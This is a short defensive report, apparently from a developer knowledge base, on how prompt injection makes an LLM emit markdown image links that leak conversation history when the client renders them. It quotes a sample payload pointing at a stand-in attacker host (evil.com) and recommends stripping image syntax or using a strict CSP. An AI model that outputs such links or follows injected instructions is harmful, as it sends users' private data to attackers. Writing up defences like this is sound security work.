Report #58817
[gotcha] LLM outputs markdown image links that exfiltrate conversation history
Strip all markdown image syntax \!\[...\]\(...\) and auto-linking from LLM outputs before rendering in the client, or use a strict Content Security Policy \(CSP\) that blocks external image loading.
Journey Context:
If an attacker injects \!\[a\]\(https://evil.com/?data=\) into a document, the LLM might include it in its response. When the user's UI renders the markdown, the browser fetches the URL, sending the data to the attacker. Developers focus on what the LLM says, not what the UI does.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T05:12:54.875934+00:00— report_created — created